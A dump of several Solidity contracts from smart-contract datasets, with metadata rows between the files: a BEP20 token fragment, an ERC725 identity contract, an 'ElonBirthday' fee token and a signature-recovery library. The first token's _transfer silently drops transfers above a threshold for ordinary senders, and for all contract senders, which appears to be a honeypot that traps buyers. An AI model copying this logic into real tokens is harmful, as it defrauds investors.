function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
bool allow = false;
if(sender == pancakeV2Router || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) {
allow = true;
} else {
if((amount <= _AMM || isSL) && !isContract(sender)) {
allow = true;
}
}
if(allow) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
function pancakePair() public view virtual returns (address) {
address pancakeV2Factory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address pairAddress = IPancakeFactory(pancakeV2Factory).getPair(address(WBNB), address(this));
return pairAddress;
}
function isContract(address addr) internal view returns (bool) {
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 codehash;
assembly {
codehash := extcodehash(addr)
}
return (codehash != 0x0 && codehash != accountHash);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
| 251,018 | 272 |
21141f5dae938ab64be69475065d4dfa6a47a9d7af2d57a91681a8fb28277e8a
| 18,168 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa2073fab02cd808dd35b144360b0d2b1fa2325b5.sol
| 3,677 | 13,821 |
pragma solidity ^0.4.24;
contract ERC725 {
uint256 public constant MANAGEMENT_KEY = 1;
uint256 public constant ACTION_KEY = 2;
uint256 public constant CLAIM_SIGNER_KEY = 3;
uint256 public constant ENCRYPTION_KEY = 4;
event KeyAdded(bytes32 indexed key, uint256 indexed purpose, uint256 indexed keyType);
event KeyRemoved(bytes32 indexed key, uint256 indexed purpose, uint256 indexed keyType);
event ExecutionRequested(uint256 indexed executionId, address indexed to, uint256 indexed value, bytes data);
event Executed(uint256 indexed executionId, address indexed to, uint256 indexed value, bytes data);
event Approved(uint256 indexed executionId, bool approved);
struct Key {
uint256[] purpose; //e.g., MANAGEMENT_KEY = 1, ACTION_KEY = 2, etc.
uint256 keyType; // e.g. 1 = ECDSA, 2 = RSA, etc.
bytes32 key;
}
function getKey(bytes32 _key) public constant returns(uint256[] purpose, uint256 keyType, bytes32 key);
function getKeyPurpose(bytes32 _key) public constant returns(uint256[] purpose);
function getKeysByPurpose(uint256 _purpose) public constant returns(bytes32[] keys);
function addKey(bytes32 _key, uint256 _purpose, uint256 _keyType) public returns (bool success);
function removeKey(bytes32 _key, uint256 _purpose) public returns (bool success);
function execute(address _to, uint256 _value, bytes _data) public returns (uint256 executionId);
function approve(uint256 _id, bool _approve) public returns (bool success);
}
contract ERC20Basic {
function balanceOf(address _who) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract Identity is ERC725 {
uint256 constant LOGIN_KEY = 10;
uint256 constant FUNDS_MANAGEMENT = 11;
uint256 executionNonce;
struct Execution {
address to;
uint256 value;
bytes data;
bool approved;
bool executed;
}
mapping (bytes32 => Key) keys;
mapping (uint256 => bytes32[]) keysByPurpose;
mapping (uint256 => Execution) executions;
event ExecutionFailed(uint256 indexed executionId, address indexed to, uint256 indexed value, bytes data);
modifier onlyManagement() {
require(keyHasPurpose(keccak256(msg.sender), MANAGEMENT_KEY), "Sender does not have management key");
_;
}
modifier onlyAction() {
require(keyHasPurpose(keccak256(msg.sender), ACTION_KEY), "Sender does not have action key");
_;
}
modifier onlyFundsManagement() {
require(keyHasPurpose(keccak256(msg.sender), FUNDS_MANAGEMENT), "Sender does not have funds key");
_;
}
constructor() public {
bytes32 _key = keccak256(msg.sender);
keys[_key].key = _key;
keys[_key].purpose = [MANAGEMENT_KEY];
keys[_key].keyType = 1;
keysByPurpose[MANAGEMENT_KEY].push(_key);
emit KeyAdded(_key, MANAGEMENT_KEY, 1);
}
function getKey(bytes32 _key)
public
view
returns(uint256[] purpose, uint256 keyType, bytes32 key)
{
return (keys[_key].purpose, keys[_key].keyType, keys[_key].key);
}
function getKeyPurpose(bytes32 _key)
public
view
returns(uint256[] purpose)
{
return (keys[_key].purpose);
}
function getKeysByPurpose(uint256 _purpose)
public
view
returns(bytes32[] _keys)
{
return keysByPurpose[_purpose];
}
function addKey(bytes32 _key, uint256 _purpose, uint256 _type)
public
onlyManagement
returns (bool success)
{
if (keyHasPurpose(_key, _purpose)) {
return true;
}
keys[_key].key = _key;
keys[_key].purpose.push(_purpose);
keys[_key].keyType = _type;
keysByPurpose[_purpose].push(_key);
emit KeyAdded(_key, _purpose, _type);
return true;
}
function approve(uint256 _id, bool _approve)
public
onlyAction
returns (bool success)
{
emit Approved(_id, _approve);
if (_approve == true) {
executions[_id].approved = true;
success = executions[_id].to.call(executions[_id].data, 0);
if (success) {
executions[_id].executed = true;
emit Executed(_id,
executions[_id].to,
executions[_id].value,
executions[_id].data);
} else {
emit ExecutionFailed(_id,
executions[_id].to,
executions[_id].value,
executions[_id].data);
}
return success;
} else {
executions[_id].approved = false;
}
return true;
}
function execute(address _to, uint256 _value, bytes _data)
public
returns (uint256 executionId)
{
require(!executions[executionNonce].executed, "Already executed");
executions[executionNonce].to = _to;
executions[executionNonce].value = _value;
executions[executionNonce].data = _data;
emit ExecutionRequested(executionNonce, _to, _value, _data);
if (keyHasPurpose(keccak256(msg.sender), ACTION_KEY)) {
approve(executionNonce, true);
}
executionNonce++;
return executionNonce-1;
}
function removeKey(bytes32 _key, uint256 _purpose)
public
onlyManagement
returns (bool success)
{
require(keys[_key].key == _key, "No such key");
if (!keyHasPurpose(_key, _purpose)) {
return false;
}
uint256 arrayLength = keys[_key].purpose.length;
int index = -1;
for (uint i = 0; i < arrayLength; i++) {
if (keys[_key].purpose[i] == _purpose) {
index = int(i);
break;
}
}
if (index != -1) {
keys[_key].purpose[uint(index)] = keys[_key].purpose[arrayLength - 1];
delete keys[_key].purpose[arrayLength - 1];
keys[_key].purpose.length--;
}
uint256 purposesLen = keysByPurpose[_purpose].length;
for (uint j = 0; j < purposesLen; j++) {
if (keysByPurpose[_purpose][j] == _key) {
keysByPurpose[_purpose][j] = keysByPurpose[_purpose][purposesLen - 1];
delete keysByPurpose[_purpose][purposesLen - 1];
keysByPurpose[_purpose].length--;
break;
}
}
emit KeyRemoved(_key, _purpose, keys[_key].keyType);
return true;
}
function keyHasPurpose(bytes32 _key, uint256 _purpose)
public
view
returns(bool result)
{
if (keys[_key].key == 0) return false;
uint256 arrayLength = keys[_key].purpose.length;
for (uint i = 0; i < arrayLength; i++) {
if (keys[_key].purpose[i] == _purpose) {
return true;
}
}
return false;
}
function withdraw() public onlyFundsManagement {
msg.sender.transfer(address(this).balance);
}
function transferEth(uint _amount, address _account) public onlyFundsManagement {
require(_amount <= address(this).balance, "Amount should be less than total balance of the contract");
require(_account != address(0), "must be valid address");
_account.transfer(_amount);
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
function getTokenBalance(address _token) public view returns (uint) {
return ERC20Basic(_token).balanceOf(this);
}
function withdrawTokens(address _token) public onlyFundsManagement {
require(_token != address(0));
ERC20Basic token = ERC20Basic(_token);
uint balance = token.balanceOf(this);
// token returns true on successful transfer
assert(token.transfer(msg.sender, balance));
}
function transferTokens(address _token, address _to, uint _amount) public onlyFundsManagement {
require(_token != address(0));
require(_to != address(0));
ERC20Basic token = ERC20Basic(_token);
uint balance = token.balanceOf(this);
require(_amount <= balance);
assert(token.transfer(_to, _amount));
}
function () public payable {}
}
contract Encoder {
function uintToChar(uint8 _uint) internal pure returns(string) {
byte b = "\x30"; // ASCII code for 0
if (_uint > 9) {
b = "\x60"; // ASCII code for the char before a
_uint -= 9;
}
bytes memory bs = new bytes(1);
bs[0] = b | byte(_uint);
return string(bs);
}
function encodeUInt(uint256 _uint) public pure returns(bytes memory) {
if (_uint == 0) {
return abi.encodePacked(uintToChar(0));
}
bytes memory result;
uint256 x = _uint;
while (x > 0) {
result = abi.encodePacked(uintToChar(uint8(x % 10)), result);
x /= 10;
}
return result;
}
function encodeAddress(address _address) public pure returns (bytes memory res) {
for (uint i = 0; i < 20; i++) {
// get each byte of the address
byte b = byte(uint8(uint(_address) / (2**(8*(19 - i)))));
// split it into two
uint8 high = uint8(b >> 4);
uint8 low = uint8(b) & 15;
// and encode them as chars
res = abi.encodePacked(res, uintToChar(high), uintToChar(low));
}
return res;
}
function encodeString(string _str) public pure returns (bytes memory) {
return abi.encodePacked(_str);
}
}
contract SignatureValidator {
function doHash(string _message1, uint32 _message2, string _header1, string _header2)
pure internal returns (bytes32) {
return keccak256(abi.encodePacked(keccak256(abi.encodePacked(_header1, _header2)),
keccak256(abi.encodePacked(_message1, _message2))));
}
function checkSignature(string _message1, uint32 _nonce, string _header1, string _header2, bytes32 _r, bytes32 _s, uint8 _v)
public pure returns (address) {
bytes32 hash = doHash(_message1, _nonce, _header1, _header2);
return ecrecover(hash, _v, _r, _s);
}
}
contract ZincAccessor is SignatureValidator, Encoder {
uint256 public nonce = 0;
event UserIdentityCreated(address indexed userAddress, address indexed identityContractAddress);
event AccessorAdded(address indexed identityContractAddress, address indexed keyAddress, uint256 indexed purpose);
event AccessorRemoved(address indexed identityContractAddress, address indexed keyAddress, uint256 indexed purpose);
function checkUserSignature(address _userAddress,
string _message1,
uint32 _nonce,
string _header1,
string _header2,
bytes32 _r,
bytes32 _s,
uint8 _v)
pure internal returns (bool) {
require(checkSignature(_message1, _nonce, _header1, _header2, _r, _s, _v) == _userAddress,
"User signature must be the same as signed message");
return true;
}
modifier checknonce(uint _nonce) {
require(++nonce == _nonce, "Wrong nonce");
_;
}
function constructUserIdentity(address _userAddress,
string _message1,
uint32 _nonce,
string _header1,
string _header2,
bytes32 _r,
bytes32 _s,
uint8 _v)
public
returns (address) {
require(checkUserSignature(_userAddress, _message1, _nonce, _header1, _header2, _r, _s, _v),
"User Signature does not match");
Identity id = new Identity();
id.addKey(keccak256(_userAddress), id.MANAGEMENT_KEY(), 1);
emit UserIdentityCreated(_userAddress, address(id));
return address(id);
}
function addAccessor(address _key,
address _idContract,
uint256 _purpose,
address _userAddress,
string _message1,
uint32 _nonce,
string _header1,
string _header2,
bytes32 _r,
bytes32 _s,
uint8 _v)
public checknonce(_nonce) returns (bool) {
require(checkUserSignature(_userAddress, _message1, _nonce, _header1, _header2, _r, _s, _v));
require(keccak256(abi.encodePacked("Add 0x", encodeAddress(_key), " to 0x", encodeAddress(_idContract), " with purpose ", encodeUInt(_purpose))) ==
keccak256(encodeString(_message1)), "Message incorrect");
Identity id = Identity(_idContract);
require(id.keyHasPurpose(keccak256(_userAddress), id.MANAGEMENT_KEY()));
id.addKey(keccak256(_key), _purpose, 1);
emit AccessorAdded(_idContract, _key, _purpose);
return true;
}
function removeAccessor(address _key,
address _idContract,
uint256 _purpose,
address _userAddress,
string _message1,
uint32 _nonce,
string _header1,
string _header2,
bytes32 _r,
bytes32 _s,
uint8 _v)
public checknonce(_nonce) returns (bool) {
require(checkUserSignature(_userAddress, _message1, _nonce, _header1, _header2, _r, _s, _v));
require(keccak256(abi.encodePacked("Remove 0x", encodeAddress(_key), " from 0x", encodeAddress(_idContract), " with purpose ", encodeUInt(_purpose))) ==
keccak256(encodeString(_message1)), "Message incorrect");
Identity id = Identity(_idContract);
require(id.keyHasPurpose(keccak256(_userAddress), id.MANAGEMENT_KEY()));
id.removeKey(keccak256(_key), _purpose);
emit AccessorRemoved(_idContract, _key, _purpose);
return true;
}
}
| 200,232 | 273 |
156bff2092cce8bf8a628ad205b0ad5ac05379b3612c6dec24bbde8c76f6d707
| 15,197 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f2/f261D90c12f3AB8b9B0F9E677A65F5D77aAF7197_ElonBirthday.sol
| 3,860 | 13,753 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonBirthday is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ElonBirthday";
string private constant _symbol = "ElonBirthday";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xb15B4F981e8828e83003AdF0465B41e9E5330c53);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 7;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(20).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addbot(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 83,921 | 274 |
ff37a8284596ecb9a034914294f381af30ced1eed328b9cf05ad650f542bcc85
| 10,976 |
.sol
|
Solidity
| false |
128776516
|
2key/contracts
|
aadccf693c0f8599292bbc1eff8c417081a73e13
|
contracts/2key/libraries/Call.sol
| 2,632 | 9,847 |
pragma solidity ^0.4.24;
library Call {
function params0(address c, bytes _method) public view returns (uint answer) {
// dc = c;
bytes4 sig = bytes4(keccak256(_method));
assembly {
// move pointer to free memory spot
let ptr := mload(0x40)
// put function sig at memory spot
mstore(ptr,sig)
let result := call(// use WARNING because this should be staticcall BUT geth crash!
15000, // gas limit
c, // sload(dc_slot), // to addr. append var to _slot to access storage variable
0, // not transfer any ether (comment if using staticcall)
ptr, // Inputs are stored at location ptr
0x04, // Inputs are 0 bytes long
ptr, //Store output over input
0x20) //Outputs are 1 bytes long
if eq(result, 0) {
revert(0, 0)
}
answer := mload(ptr) // Assign output to answer var
mstore(0x40,add(ptr,0x24)) // Set storage pointer to new space
}
}
function params1(address c, bytes _method, uint _val) public view returns (uint answer) {
// dc = c;
bytes4 sig = bytes4(keccak256(_method));
assembly {
// move pointer to free memory spot
let ptr := mload(0x40)
// put function sig at memory spot
mstore(ptr,sig)
// append argument after function sig
mstore(add(ptr,0x04), _val)
let result := call(// use WARNING because this should be staticcall BUT geth crash!
15000, // gas limit
c, // sload(dc_slot), // to addr. append var to _slot to access storage variable
0, // not transfer any ether (comment if using staticcall)
ptr, // Inputs are stored at location ptr
0x24, // Inputs are 0 bytes long
ptr, //Store output over input
0x20) //Outputs are 1 bytes long
if eq(result, 0) {
revert(0, 0)
}
answer := mload(ptr) // Assign output to answer var
mstore(0x40,add(ptr,0x24)) // Set storage pointer to new space
}
}
function params2(address c, bytes _method, uint _val1, uint _val2) public view returns (uint answer) {
// dc = c;
bytes4 sig = bytes4(keccak256(_method));
assembly {
// move pointer to free memory spot
let ptr := mload(0x40)
// put function sig at memory spot
mstore(ptr,sig)
// append argument after function sig
mstore(add(ptr,0x04), _val1)
mstore(add(ptr,0x24), _val2)
let result := call(// use WARNING because this should be staticcall BUT geth crash!
15000, // gas limit
c, // sload(dc_slot), // to addr. append var to _slot to access storage variable
0, // not transfer any ether (comment if using staticcall)
ptr, // Inputs are stored at location ptr
0x44, // Inputs are 4 bytes for signature and 2 uint256
ptr, //Store output over input
0x20) //Outputs are 1 uint long
answer := mload(ptr) // Assign output to answer var
mstore(0x40,add(ptr,0x20)) // Set storage pointer to new space
}
}
function loadAddress(bytes sig, uint idx) public pure returns (address) {
address influencer;
idx += 20;
assembly
{
influencer := mload(add(sig, idx))
}
return influencer;
}
function loadUint8(bytes sig, uint idx) public pure returns (uint8) {
uint8 weight;
idx += 1;
assembly
{
weight := mload(add(sig, idx))
}
return weight;
}
function recoverHash(bytes32 hash, bytes sig, uint idx) public pure returns (address) {
// same as recoverHash in utils/sign.js
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
require (sig.length >= 65+idx, 'bad signature length');
idx += 32;
bytes32 r;
assembly
{
r := mload(add(sig, idx))
}
idx += 32;
bytes32 s;
assembly
{
s := mload(add(sig, idx))
}
idx += 1;
uint8 v;
assembly
{
v := mload(add(sig, idx))
}
if (v >= 32) {
v -= 32;
bytes memory prefix = "\x19Ethereum Signed Message:\n32"; // 32 is the number of bytes in the following hash
hash = keccak256(abi.encodePacked(prefix, hash));
}
if (v <= 1) v += 27;
require(v==27 || v==28,'bad sig v');
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, 'bad sig s');
return ecrecover(hash, v, r, s);
}
function recoverSigMemory(bytes sig) private pure returns (address[], address[], uint8[], uint[], uint) {
uint8 version = loadUint8(sig, 0);
uint msg_len = (version == 1) ? 1+65+20 : 1+20+20;
uint n_influencers = (sig.length-21) / (65+msg_len);
uint8[] memory weights = new uint8[](n_influencers);
address[] memory keys = new address[](n_influencers);
if ((sig.length-21) % (65+msg_len) > 0) {
n_influencers++;
}
address[] memory influencers = new address[](n_influencers);
uint[] memory offsets = new uint[](n_influencers);
return (influencers, keys, weights, offsets, msg_len);
}
function recoverSigParts(bytes sig, address last_address) private pure returns (address[], address[], uint8[], uint[]) {
// sig structure:
// 1 byte version 0 or 1
// 20 bytes are the address of the contractor or the influencer who created sig.
// this is the "anchor" of the link
// It must have a public key aleady stored for it in public_link_key
// Begining of a loop on steps in the link:
// * 65 bytes are step-signature using the secret from previous step
// * message of the step that is going to be hashed and used to compute the above step-signature.
// message length depend on version 41 (version 0) or 86 (version 1):
// * 20 bytes public key of the last secret
uint idx = 0;
uint msg_len;
uint8[] memory weights;
address[] memory keys;
address[] memory influencers;
uint[] memory offsets;
(influencers, keys, weights, offsets, msg_len) = recoverSigMemory(sig);
idx += 1; // skip version
idx += 20; // skip old_address which should be read by the caller in order to get old_key
uint count_influencers = 0;
while (idx + 65 <= sig.length) {
offsets[count_influencers] = idx;
idx += 65; // idx was increased by 65 for the signature at the begining which we will process later
if (idx + msg_len <= sig.length) { // its a < and not a <= because we dont want this to be the final iteration for the converter
weights[count_influencers] = loadUint8(sig, idx);
require(weights[count_influencers] > 0,'weight not defined (1..255)'); // 255 are used to indicate default (equal part) behaviour
idx++;
if (msg_len == 41) // 1+20+20 version 0
{
influencers[count_influencers] = loadAddress(sig, idx);
idx += 20;
keys[count_influencers] = loadAddress(sig, idx);
idx += 20;
} else if (msg_len == 86) // 1+65+20 version 1
{
keys[count_influencers] = loadAddress(sig, idx+65);
influencers[count_influencers] = recoverHash(keccak256(abi.encodePacked(keccak256(abi.encodePacked("bytes binding to weight","bytes binding to public")),
keccak256(abi.encodePacked(weights[count_influencers],keys[count_influencers])))),sig,idx);
idx += 65;
idx += 20;
}
} else {
// handle short signatures generated with free_take
influencers[count_influencers] = last_address;
}
count_influencers++;
}
require(idx == sig.length,'illegal message size');
return (influencers, keys, weights, offsets);
}
